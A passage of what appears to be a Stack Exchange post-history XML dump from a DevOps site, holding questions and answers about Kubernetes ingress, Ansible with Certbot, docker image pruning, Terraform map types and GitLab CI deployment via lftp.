https://docs.docker.com/storage/storagedriver/#the-copy-on-write-cow-strategy" ContentLicense="CC BY-SA 4.0" />
  <row Id="37336" PostHistoryTypeId="5" PostId="12076" RevisionGUID="fb6eccff-017e-41a4-87a4-1771ede3e89b" CreationDate="2020-08-05T11:18:29.967" UserId="15169" Comment="deleted 433 characters in body" Text="There are two ways either increase the number in your DeploymentConfig directly or use ```oc scale statefulset &lt;name_of_statfulset&gt; --replicas=2```&#xD;&#xA;&#xD;&#xA;    apiVersion: apps.openshift.io/v1&#xD;&#xA;    kind: DeploymentConfig&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;      app: jekyll&#xD;&#xA;      name: jekyll&#xD;&#xA;      namespace: test&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1 &lt;----------- here increase the number&#xD;&#xA;     &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37340" PostHistoryTypeId="5" PostId="12144" RevisionGUID="bc257609-f2d4-40c2-9140-ea951c421524" CreationDate="2020-08-05T16:06:50.857" UserId="17486" Comment="Added an example problem" Text="I've 3 Debian-10 VMs on a bare metal Proxmox host in my network and installed via Ansible the roles `geerlingguy.docker` and `geerlingguy.kubernetes` with complete default settings. The kubeadm on the master node shows me the three nodes. So, I think, the installation is fine.&#xD;&#xA;&#xD;&#xA;And what now? I'm new to kubernetes, I know there are configs that need to be applied. But how can I &quot;see&quot; them or &quot;change&quot; them via Kubernetes/Ansible. I don't want go back to the command line here. I know about the 'k8s' module - but the examples are not very helpful. A kubernetes should have an ingress controller and some services. Is there a good example playbook for installing Traefik/Haproxy/Nginx/whatever and maybe a small example hello-world-example for Kubernetes? Is there a &quot;map&quot; of possible values for all the YAML options (I used to learn from examples)&#xD;&#xA;&#xD;&#xA;Sorry for the very &quot;open&quot; question. I'm searching for some days now and either my questions to Google are wrong or Google sends me always to the same sites with either very &quot;basic&quot; informations that ends by installing the Kubernetes or very &quot;heavy&quot; information, where the author is far away from easy to read.&#xD;&#xA;&#xD;&#xA;To make the question a litte bit more concrete.&#xD;&#xA; - The 3 VM's with IP 192.168.10.10-192.168.10.12 are running with Kubernetes 1.17.9 on Docker 19.03.12&#xD;&#xA; - I've installed Helm v3.2.4, some repos (Traefik, Nginx, Stable-Kubernetes-Charts)&#xD;&#xA; - I'm able to install with Helm some -don't know - are that pods or services?&#xD;&#xA; - I'd like to add a simple hello-world HTTP service, like [that][1] from gmolaire (thanks!) &#xD;&#xA; - That service is exposed to one of the three VMs on port 80&#xD;&#xA;&#xD;&#xA;When I run that tutorial with step `kubectl create -f ingress.yaml`&#xD;&#xA;   I'm getting the error&#xD;&#xA;&#xD;&#xA;    Error from server (InternalError): error when creating &quot;ingress.yaml&quot;: &#xD;&#xA;    Internal error occurred: failed calling webhook &quot;validate.nginx.ingress.kubernetes.io&quot;: Post https://ingress-nginx-controller-admission.ingress-nginx.svc:443/extensions/v1beta1/ingresses?timeout=30s: dial tcp 10.105.231.128:443: connect: connection refused&#xD;&#xA;&#xD;&#xA;This might be, because I cannot run `kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/mandatory.yaml` it ends with a 404.&#xD;&#xA;&#xD;&#xA;  [1]: https://matthewpalmer.net/kubernetes-app-developer/articles/kubernetes-ingress-guide-nginx-example.html&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37341" PostHistoryTypeId="5" PostId="12149" RevisionGUID="cba945a5-43ae-404c-af85-965fac431973" CreationDate="2020-08-05T16:45:03.410" UserId="5051" Comment="Add more details for the OP" Text="Since your new in this platform, I would suggest you to explore in the bellow order (assuming you want to use nginx as the load balancer ingress controller):&#xD;&#xA;&#xD;&#xA;1- [This tutorial][1] is the most complete to get started with k8s. I strongly suggest you to follow it through to understand the jargon and the working components before going to the next steps.&#xD;&#xA;&#xD;&#xA;2- Take a look at [this example][2] where they go through creating an nginx application in a k8s cluster.&#xD;&#xA;&#xD;&#xA;3- Look at [this tutorial][3] where the author describes the key concepts and working operation of an ingress controller.&#xD;&#xA;&#xD;&#xA;4- Finally, [look at this][4] to start setting up your ingress controller from the official doc page. Other resources are available to allow you to setup as much as you'd like.&#xD;&#xA;&#xD;&#xA;Extra: Here is the official k8s `kubectl` [cheat sheet][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tutorials/kubernetes-basics/&#xD;&#xA;  [2]: https://kubernetes.io/docs/tasks/run-application/run-stateless-application-deployment/&#xD;&#xA;  [3]: https://thenewstack.io/kubernetes-ingress-for-beginners/&#xD;&#xA;  [4]: https://kubernetes.github.io/ingress-nginx/deploy/&#xD;&#xA;  [5]: https://kubernetes.io/docs/reference/kubectl/cheatsheet/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37342" PostHistoryTypeId="5" PostId="12148" RevisionGUID="36ed248a-3eea-49fe-b896-18f567fdce49" CreationDate="2020-08-05T17:00:17.397" UserId="5051" Comment="Clarification" Text="Use a VPC peering between the two accounts so that your instance from account A will be able to communicate with account B.&#xD;&#xA;&#xD;&#xA;This will work if you have different subnet CIDR blocks in the two accounts. If you have the same (i.e. in both VPC, your subnets are in `192.168.0.0/16`), then change the one that has the least impact and proceed with a VPC peering.&#xD;&#xA;&#xD;&#xA;Finally, you will have to configure your security group to allow the bastion to communicate with the other instance.&#xD;&#xA;&#xD;&#xA;Here are more details for AWS VPC peering: [VPC peering][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/vpc/latest/peering/what-is-vpc-peering.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37346" PostHistoryTypeId="2" PostId="12157" RevisionGUID="7febb8c4-1fcb-4588-ab4f-73b92721aa23" CreationDate="2020-08-05T20:50:32.673" UserId="17900" Text="I have a public web-site with Nginx in front of it. We use free Letsencrypt certificates to set up `https`. These are acquired and renewed by Certbot program. I want to implement entire servers configuration with Ansible playbooks. These playbooks have to:&#xD;&#xA;1) Automatically setup everything from scratch on a set of freshly dispatched empty CentOS instances.&#xD;&#xA;2) Be able to setup with a different domain name if necessary&#xD;&#xA;3) Be completely idempotent so I can make small changes and just run them as is.&#xD;&#xA;&#xD;&#xA;There are two similar problems I faced trying to achieve it.&#xD;&#xA;&#xD;&#xA;The first is I need Nginx already running to fulfill challenges to acquire certificate and then run Nginx with different config to make use of now acquired certificate. When I acquire certificate Nginx has to serve some files for Letsencrypt to check. This incurs several problems:&#xD;&#xA;1) Playbook has to run Nginx twice in one go with different configs. This is tricky to express using Ansible because of descriptive nature of playbooks. Nginx now has different states in just one Playbook execution. I no longer express state but rather instructions.&#xD;&#xA;2) Using several slightly different configs means either a lot of Nginx config code repetitions or complex and confusing `if`s in them.&#xD;&#xA;&#xD;&#xA;The second problem is that I wanted to put all my Nginx configuration under VCS so I want playbooks to come with already written Nginx configs. However this not the way recommended by Certbot. Certbot wants you to use a command that _parses_ and then _generates_ Nginx configs to add a certificate there. This may seem convenient but I this way I cannot be sure the results are going to be completely reproducible. Suppose I acquire cert and generate config, then change something by hand and then I lose my servers and domain name and try to run them from scratch. Then some new problems may occur which otherwise wouldn't have. My Nginx configs are complex with many services on different ports, conditions and other details. I have to control how it looks like.&#xD;&#xA;&#xD;&#xA;I considered making several different playbooks for different cases. But this also leads to code repetitions and makes using them more complex for a newcoming employee. And rarely used playbooks or scripts may become out of sync.&#xD;&#xA;&#xD;&#xA;I did achieve a solution that passes all these criteria. But I am not happy with it because it turned out rather complex with Nginx configuration happening twice and many `if`s and booleans variables. And it's not how Ansible playbooks are intended to be written. Is there a good way to do all this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37347" PostHistoryTypeId="1" PostId="12157" RevisionGUID="7febb8c4-1fcb-4588-ab4f-73b92721aa23" CreationDate="2020-08-05T20:50:32.673" UserId="17900" Text="Snake bites its tail problem automating configuration of Certbot with Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="37348" PostHistoryTypeId="3" PostId="12157" RevisionGUID="7febb8c4-1fcb-4588-ab4f-73b92721aa23" CreationDate="2020-08-05T20:50:32.673" UserId="17900" Text="&lt;ansible&gt;&lt;nginx&gt;&lt;certbot&gt;&lt;letsencrypt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37349" PostHistoryTypeId="5" PostId="12090" RevisionGUID="7f616912-a51a-468e-b73e-b5dc49a90e20" CreationDate="2020-08-05T21:11:14.230" UserId="22870" Comment="typos" Text="I'm building images on a small server and spinning them up with docker-compose. &#xD;&#xA;&#xD;&#xA;When it's disk gets full I run `docker prune -a` so all the stopped containers, dangling image are cleaned out.&#xD;&#xA;&#xD;&#xA;But I'd like to keep one or two recent **images** in case I need to roll back quickly. &#xD;&#xA;&#xD;&#xA;The [docker prune documentation][1] says `--filter until=&lt;timestamp&gt;`. But the timestamps from the previous images could be days, weeks or months old. &#xD;&#xA;&#xD;&#xA;Then suggested method for pruning by date is:  &#xD;&#xA;&#xD;&#xA;a) find the timestamp by listing the images with this format   &#xD;&#xA;&#xD;&#xA;`docker images --format 'table {{.Repository}}\t{{.Tag}}\t{{.ID}}\t{{.CreatedAt}}\t{{.Size}}'` &#xD;&#xA;&#xD;&#xA;**which produces**&#xD;&#xA;````&#xD;&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED AT                      SIZE&#xD;&#xA;foo                 latest              2f287ac753da        2017-01-04 13:42:23 -0800 PST   3.98 MB&#xD;&#xA;alpine              latest              88e169ea8f46        2016-12-27 10:17:25 -0800 PST   3.98 MB&#xD;&#xA;busybox             latest              e02e811dd08f        2016-10-07 14:03:58 -0700 PDT   1.09 MB&#xD;&#xA;````&#xD;&#xA;How can I automatically select the second `created at` timestamp in the list it produces? &#xD;&#xA;&#xD;&#xA;...to then pass it as a variable into &#xD;&#xA;&#xD;&#xA;b)&#xD;&#xA;`docker image prune -a --force --filter &quot;until=&lt;2rd timestamp from list&gt;&quot;`&#xD;&#xA;&#xD;&#xA;Is there an way to use awk ? Is there another way to leave an extra image ?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/image_prune/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37354" PostHistoryTypeId="2" PostId="12159" RevisionGUID="d2b02c57-8c97-4e55-825c-0613aa39b8d6" CreationDate="2020-08-06T05:46:08.133" UserId="12474" Text="I am familiar with the term buildpack from a platform called Heroku. But I am not sure if it's a Heroku-specific term, or if it exists more broadly in DevOps nomenclature? &#xD;&#xA;&#xD;&#xA;When I google, I see plenty of articles about buildpacks that *don't* mention Heroku, so I guess it's more general. If that's the case, what exactly is it? And how does it differ from something like a docker image? Or are they the same things with different names? " ContentLicense="CC BY-SA 4.0" />
  <row Id="37355" PostHistoryTypeId="1" PostId="12159" RevisionGUID="d2b02c57-8c97-4e55-825c-0613aa39b8d6" CreationDate="2020-08-06T05:46:08.133" UserId="12474" Text="What exactly is a buildpack in DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37356" PostHistoryTypeId="3" PostId="12159" RevisionGUID="d2b02c57-8c97-4e55-825c-0613aa39b8d6" CreationDate="2020-08-06T05:46:08.133" UserId="12474" Text="&lt;terminology&gt;&lt;builds&gt;&lt;images&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37357" PostHistoryTypeId="2" PostId="12160" RevisionGUID="c7ed7e43-bb23-4abc-b29c-b38e01205f7b" CreationDate="2020-08-06T06:20:17.957" UserId="23308" Text="If I need to use something like NVM in my makefile, I run into a problem, because NVM exports some bash functions that are not available in Make, even if my shell is defined as bash in the makefile.&#xD;&#xA;&#xD;&#xA;How do I cause make to &quot;inherit&quot; all the parent shell's functions? Is there a way to make NVM accessible to a makefile, without writing export -f for a zillion little NVM bash functions?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37358" PostHistoryTypeId="1" PostId="12160" RevisionGUID="c7ed7e43-bb23-4abc-b29c-b38e01205f7b" CreationDate="2020-08-06T06:20:17.957" UserId="23308" Text="How can I use bash functions in makefile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37359" PostHistoryTypeId="3" PostId="12160" RevisionGUID="c7ed7e43-bb23-4abc-b29c-b38e01205f7b" CreationDate="2020-08-06T06:20:17.957" UserId="23308" Text="&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37363" PostHistoryTypeId="2" PostId="12162" RevisionGUID="9210e5b1-1e8a-44a8-abe2-c10d44659b9e" CreationDate="2020-08-06T06:48:11.397" UserId="23462" Text="One possible issue is that the NVM install script only writes the commands to set itself up to either .bash_profile OR .bashrc. Depending on your systems configuration, it may only be setup for interactive shells, not ones spawned by other programs (more info). Sourcing the nvm setup script can be a good option, as a previous comment noted. If you have a number of commands to run for 1 make target, look into .ONESHELL. Sourcing $NVM_DIR/nvm.sh should take care of it.&#xD;&#xA;&#xD;&#xA;Another option that invokes bash directly with the interactive flag might work as well.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37364" PostHistoryTypeId="2" PostId="12163" RevisionGUID="cc488fd0-3f74-4241-a094-75b5baaa18be" CreationDate="2020-08-06T06:58:18.080" UserId="23308" Text="They are the same thing with different names. It's a general term." ContentLicense="CC BY-SA 4.0" />
  <row Id="37366" PostHistoryTypeId="2" PostId="12164" RevisionGUID="d97d26d2-c144-4f3f-a68a-a654d514a376" CreationDate="2020-08-06T07:08:15.730" UserId="23462" Text="I am trying to use cloudformation to setup a ASG and I have a target group which I would like to associate with the ASG. The target group is created okay but when I go to attach it to the ASG I get an error message. I'd like to be able to attach this as I want a ALB in front of the ASG&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37367" PostHistoryTypeId="1" PostId="12164" RevisionGUID="d97d26d2-c144-4f3f-a68a-a654d514a376" CreationDate="2020-08-06T07:08:15.730" UserId="23462" Text="Issue with cloudformation in target groups and ASG" ContentLicense="CC BY-SA 4.0" />
  <row Id="37368" PostHistoryTypeId="3" PostId="12164" RevisionGUID="d97d26d2-c144-4f3f-a68a-a654d514a376" CreationDate="2020-08-06T07:08:15.730" UserId="23462" Text="&lt;amazon-web-services&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37369" PostHistoryTypeId="2" PostId="12165" RevisionGUID="c866abf3-67c1-42ee-ab04-36ef60ba2427" CreationDate="2020-08-06T07:10:56.210" UserId="23463" Text="As the error message states, TargetGroupARNs value should be of type List. https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-as-group.html#cfn-as-group-targetgrouparns&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37370" PostHistoryTypeId="2" PostId="12166" RevisionGUID="aaff42fe-0d1c-42e7-b4bb-613bb4c4420e" CreationDate="2020-08-06T08:02:59.143" UserId="23451" Text="If my assumption is correct that's related to having a loadbalancer that wasn't correctly deleted.&#xD;&#xA;Which could be resulted by redeploying a service with a service principal in a short time before Azure cleans up the previous loadbalancer.&#xD;&#xA;&#xD;&#xA;To my knowledge, that could be fixed with the rolling of [Kubernetes 1.17][1] and the Loadbalancer Finalizer feature, [through this pull][2].&#xD;&#xA;&#xD;&#xA;please update the question if that showed up with the new cluster version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.17.md&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/pull/78262" ContentLicense="CC BY-SA 4.0" />
  <row Id="37371" PostHistoryTypeId="5" PostId="12166" RevisionGUID="1c1bb1d2-01c9-4ce7-8e50-80e41748a751" CreationDate="2020-08-06T08:14:09.877" UserId="23451" Comment="illustration" Text="If my assumption is correct that's related to having a loadbalancer that wasn't correctly deleted.&#xD;&#xA;Which could be resulted by redeploying a service (of type: load balancer) in a short time before Azure cleans up the previously associated loadbalancer resource.&#xD;&#xA;&#xD;&#xA;To my knowledge, that could be fixed with the rolling of [Kubernetes 1.17][1] and the Loadbalancer Finalizer feature, [through this pull][2].&#xD;&#xA;&#xD;&#xA;please update the question if that showed up with the new cluster version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.17.md&#xD;&#xA;  [2]: https://github.com/kubernetes/kubernetes/pull/78262" ContentLicense="CC BY-SA 4.0" />
  <row Id="37372" PostHistoryTypeId="2" PostId="12167" RevisionGUID="3366b766-b93b-450f-a1ba-547ebcee3fab" CreationDate="2020-08-06T08:30:33.077" UserId="11958" Text="I'm converting some servers from manual scaling (with a load balancer) to auto-scaling. I'm currently using an Ansible  script to manage upgrades, and I wouldn't want an automatically created instance to not be using the newest version of the software. I created an AMI that will download the newest commit from a chosen branch on first boot.&#xD;&#xA;&#xD;&#xA;I've since realized my approach is somewhat like &quot;cowboy coding&quot;, since AWS provides a mechanism to replace auto-scaling instances when there should be an update. (If using that, my existing update script would become obsolete, and I guess the update would entail creating a new AMI containing the new server version.)&#xD;&#xA;&#xD;&#xA;Are there any serious problems with using the &quot;cowboy&quot; approach? I realize auto-created servers might end up with newer code than the other servers (if someone pushes but does not deploy their code changes). I wonder whether auto-scaling will cause Ansible scripts to fail if servers are terminated while being processed by Ansible. What have I missed?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37373" PostHistoryTypeId="1" PostId="12167" RevisionGUID="3366b766-b93b-450f-a1ba-547ebcee3fab" CreationDate="2020-08-06T08:30:33.077" UserId="11958" Text="Are there serious problems with an EC2 auto-scaling AMI that automatically downloads newest server from git?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37374" PostHistoryTypeId="3" PostId="12167" RevisionGUID="3366b766-b93b-450f-a1ba-547ebcee3fab" CreationDate="2020-08-06T08:30:33.077" UserId="11958" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37376" PostHistoryTypeId="2" PostId="12168" RevisionGUID="2341b154-99bc-4730-938e-80e04dd8fa02" CreationDate="2020-08-06T14:10:04.180" UserId="23466" Text="This is most probably there is mismatch of the port that application running in the DOCKER is not the same port exposed in the DOCKER configuration&#xD;&#xA;&#xD;&#xA;Docker file `EXPOSE &lt;PORT&gt;` should be same as the port the application is started.&#xD;&#xA;&#xD;&#xA;Istio Ingress gateway can bind to the container port but can't communicate the application." ContentLicense="CC BY-SA 4.0" />
  <row Id="37378" PostHistoryTypeId="5" PostId="12132" RevisionGUID="f807fa15-1c5f-46ee-842f-f35462c00bc5" CreationDate="2020-08-06T16:08:01.087" UserId="40" Comment="remove noise" Text="Following the documentation a `map` is a collection of key/values with a constraint: &#xD;&#xA;&#xD;&#xA;&gt;&quot;...accepts any element type as long as every element is the same type&quot; [source](https://www.terraform.io/docs/configuration/types.html#map-)&#xD;&#xA;&#xD;&#xA;So the input map you have declared, is already an invalid map for Terraform 0.12 (at least)&#xD;&#xA;&#xD;&#xA;Below the example of the error produced:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;variable &quot;cidrs&quot; {&#xD;&#xA;  description = &quot;&quot;&#xD;&#xA;  type        = map&#xD;&#xA;  default = [&#xD;&#xA;    [&quot;1.1.1.1&quot;],&#xD;&#xA;    [&quot;2.2.2.2&quot;, &quot;3.3.3.3&quot;],&#xD;&#xA;    {&#xD;&#xA;      C = [&quot;4.4.4.4&quot;]&#xD;&#xA;      D = [&quot;5.5.5.5&quot;]&#xD;&#xA;    }]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When validating an error is raised:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$&gt; terraform validate&#xD;&#xA;&#xD;&#xA;Error: Invalid default value for variable&#xD;&#xA;&#xD;&#xA;  on vars.tf line 65, in variable &quot;cidrs&quot;:&#xD;&#xA;  65:   default = [&#xD;&#xA;  66:     [&quot;1.1.1.1&quot;],&#xD;&#xA;  67:     [&quot;2.2.2.2&quot;, &quot;3.3.3.3&quot;],&#xD;&#xA;  68:     {&#xD;&#xA;  69:       C = [&quot;4.4.4.4&quot;]&#xD;&#xA;  70:       D = [&quot;5.5.5.5&quot;]&#xD;&#xA;  71:     }]&#xD;&#xA;&#xD;&#xA;This default value is not compatible with the variable's type constraint: map&#xD;&#xA;of any single type required.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Been that said, if we can generalize A and B as &quot;values which are lists&quot; and Group1 as &quot;values which are maps&quot; and the input is a fixed type ordered we can use a *[tuple](https://www.terraform.io/docs/configuration/types.html#tuple-)* or  an *[object](https://www.terraform.io/docs/configuration/types.html#object-)*, this can be solve in a more readable (and maintainable) way. If so, let us know so we can extend this answer.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37379" PostHistoryTypeId="5" PostId="12143" RevisionGUID="28c7a050-ac80-4182-8235-0af79c442bd8" CreationDate="2020-08-06T20:47:05.343" UserId="23358" Comment="added 30 characters in body" Text="I switched to using a production build for testing by use of a local webserver. I leveraging the `[jest-puppeteer][1]` library which allows you to start a webserver with your tests.&#xD;&#xA;&#xD;&#xA;**jest-puppeteer.config.js**&#xD;&#xA;&#xD;&#xA;    /**&#xD;&#xA;     * find all flags at the following site @jkr&#xD;&#xA;     * https://jestjs.io/docs/en/cli&#xD;&#xA;     */&#xD;&#xA;    &#xD;&#xA;    module.exports = {&#xD;&#xA;        launch: {&#xD;&#xA;            devtools: true, // allows for use of 'debugger;' in tests&#xD;&#xA;            // executablePath: '/usr/bin/chromium-browser',&#xD;&#xA;            headless: true,&#xD;&#xA;            defaultViewport: {&#xD;&#xA;                width: 1024,&#xD;&#xA;                height: 768,&#xD;&#xA;                //isMobile: true,&#xD;&#xA;                //hasTouch: true,&#xD;&#xA;            },&#xD;&#xA;            ignoreDefaultArgs: ['--disable-extensions'],&#xD;&#xA;            args: [&#xD;&#xA;                '--enable-font-antialiasing',&#xD;&#xA;                '--font-render-hinting=medium',&#xD;&#xA;                '--disable-gpu',&#xD;&#xA;                '--disable-dev-shm-usage',&#xD;&#xA;                '--disable-setuid-sandbox',&#xD;&#xA;                '--no-first-run',&#xD;&#xA;                '--no-sandbox', // GOOD&#xD;&#xA;                '--no-zygote',&#xD;&#xA;                '--single-process', // GOOD&#xD;&#xA;    &#xD;&#xA;                &quot;--renderer&quot;,&#xD;&#xA;                &quot;--no-service-autorun&quot;,&#xD;&#xA;                &quot;--no-experiments&quot;,&#xD;&#xA;                &quot;--no-default-browser-check&quot;,&#xD;&#xA;                &quot;--disable-extensions&quot;,&#xD;&#xA;            ]&#xD;&#xA;        },&#xD;&#xA;        server: { // launches webserver just for tests @jkr&#xD;&#xA;            command: 'npm run test:webserver'&#xD;&#xA;            // cd build &amp;&amp; ../node_modules/local-web-server/bin/cli.js --port 3000 --spa index.html&#xD;&#xA;        },&#xD;&#xA;        browser: 'chromium',&#xD;&#xA;        browserContext: 'default'&#xD;&#xA;    };&#xD;&#xA;&#xD;&#xA;**.gitlab-ci.yml**&#xD;&#xA;&#xD;&#xA;    image: node:10.19.0 # https://hub.docker.com/_/node/&#xD;&#xA;    # image: node:latest&#xD;&#xA;    &#xD;&#xA;    cache:&#xD;&#xA;      # untracked: true&#xD;&#xA;      key: my-project-name&#xD;&#xA;      # key: ${CI_COMMIT_REF_SLUG} # per branch&#xD;&#xA;      # key:&#xD;&#xA;      #   files:&#xD;&#xA;      #     - package-lock.json # only update cache when this file changes (not working) @jkr&#xD;&#xA;      paths:&#xD;&#xA;        - .npm/&#xD;&#xA;        - node_modules&#xD;&#xA;        - build&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - prepare # can install ci-deps here ? @jkr&#xD;&#xA;      - test # uses test:build specifically @jkr&#xD;&#xA;      - build&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    # before_install:&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;      - npm ci --cache .npm --prefer-offline #&#xD;&#xA;    #   # - apt-get update &amp;&amp; apt-get install -y lftp gconf-service libasound2 libatk1.0-0 libatk-bridge2.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget&#xD;&#xA;    #   - if [ ! -d &quot;node_modules&quot; ]; then set NODE_ENV=dev &amp;&amp; npm install; fi # make sure dev dependencies are installed todo: 'if' needs to be verified working @jkr&#xD;&#xA;    #   # - npm install&#xD;&#xA;    #   # - if [ ! -d &quot;build&quot; ]; then npm run build; fi&#xD;&#xA;    &#xD;&#xA;    prepare: # could this job be in a before_script for test ? @jkr&#xD;&#xA;      stage: prepare&#xD;&#xA;      script:&#xD;&#xA;        - npm install&#xD;&#xA;        - npm run build:test&#xD;&#xA;      # cache:&#xD;&#xA;      #   paths:&#xD;&#xA;      #     - node_modules&#xD;&#xA;      #   policy: push&#xD;&#xA;    &#xD;&#xA;    test:&#xD;&#xA;      stage: test&#xD;&#xA;      script:&#xD;&#xA;        - npm run test:ci-deps&#xD;&#xA;        - npm run test:e2e # runs puppeteer tests @jkr&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - npm run build&#xD;&#xA;      # artifacts:&#xD;&#xA;      #   paths:&#xD;&#xA;      #     - build&#xD;&#xA;    &#xD;&#xA;    deploy-ftp:&#xD;&#xA;      stage: deploy&#xD;&#xA;      script:&#xD;&#xA;        - lftp -e &quot;open ftp.my.domain.com; user $MJA_FTP_USER $MJA_FTP_PASS; mirror --reverse --verbose build/ /var/www/domains/dev/projects/my-project/build/; bye&quot;&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: http://my.domain.com/my-project/build&#xD;&#xA;      when: manual&#xD;&#xA;      only:&#xD;&#xA;        - dev&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.npmjs.com/package/jest-puppeteer" ContentLicense="CC BY-SA 4.0" />
  <row Id="37380" PostHistoryTypeId="2" PostId="12169" RevisionGUID="062181eb-eaa7-400b-a24d-76770f8a9ed7" CreationDate="2020-08-07T02:36:48.440" UserId="23358" Text="**Scenario**&#xD;&#xA;&#xD;&#xA;I'm using [LFTP][1] to deploy files via sftp. The transfer completes successfully and all files get to the destination but for some reason the job fails.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How can I find out what is causing this job to fail?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;*Gitlab CI .yml*&#xD;&#xA;&#xD;&#xA;    image: node:10.19.0 # https://hub.docker.com/_/node/&#xD;&#xA;    # image: node:latest&#xD;&#xA;    &#xD;&#xA;    cache:&#xD;&#xA;      # untracked: true&#xD;&#xA;      key: my-project&#xD;&#xA;      # key: ${CI_COMMIT_REF_SLUG} # per branch&#xD;&#xA;      # key:&#xD;&#xA;      #   files:&#xD;&#xA;      #     - package-lock.json # only update cache when this file changes (not working) @jkr&#xD;&#xA;      paths:&#xD;&#xA;        - .npm/&#xD;&#xA;        - node_modules&#xD;&#xA;        - build&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - prepare # prepares builds, makes build needed for testing&#xD;&#xA;      - test # uses test:build specifically @jkr&#xD;&#xA;      - build&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    # before_install:&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;      - npm ci --cache .npm --prefer-offline&#xD;&#xA;    &#xD;&#xA;    prepare:&#xD;&#xA;      stage: prepare&#xD;&#xA;      needs: []&#xD;&#xA;      script:&#xD;&#xA;        - npm install&#xD;&#xA;        - npm run build:test&#xD;&#xA;    &#xD;&#xA;    test:&#xD;&#xA;      stage: test&#xD;&#xA;      needs: [prepare]&#xD;&#xA;      except:&#xD;&#xA;        - schedules&#xD;&#xA;      tags:&#xD;&#xA;        - linux&#xD;&#xA;      script:&#xD;&#xA;        - npm run test:ci-deps&#xD;&#xA;        - npm run test:e2e # runs puppeteer tests @jkr&#xD;&#xA;      artifacts:&#xD;&#xA;        reports:&#xD;&#xA;          junit: junit.xml&#xD;&#xA;        paths:&#xD;&#xA;          - coverage/&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      needs: [prepare]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y zip&#xD;&#xA;      script:&#xD;&#xA;        - npm run build:stage&#xD;&#xA;        - zip -r build.zip build&#xD;&#xA;      # cache:&#xD;&#xA;      #   paths:&#xD;&#xA;      #     - build&#xD;&#xA;      #   &lt;&lt;: *global_cache&#xD;&#xA;      #   policy: push&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - build.zip&#xD;&#xA;    &#xD;&#xA;    deploy-stage:&#xD;&#xA;      stage: deploy&#xD;&#xA;      needs: [build]&#xD;&#xA;      tags: 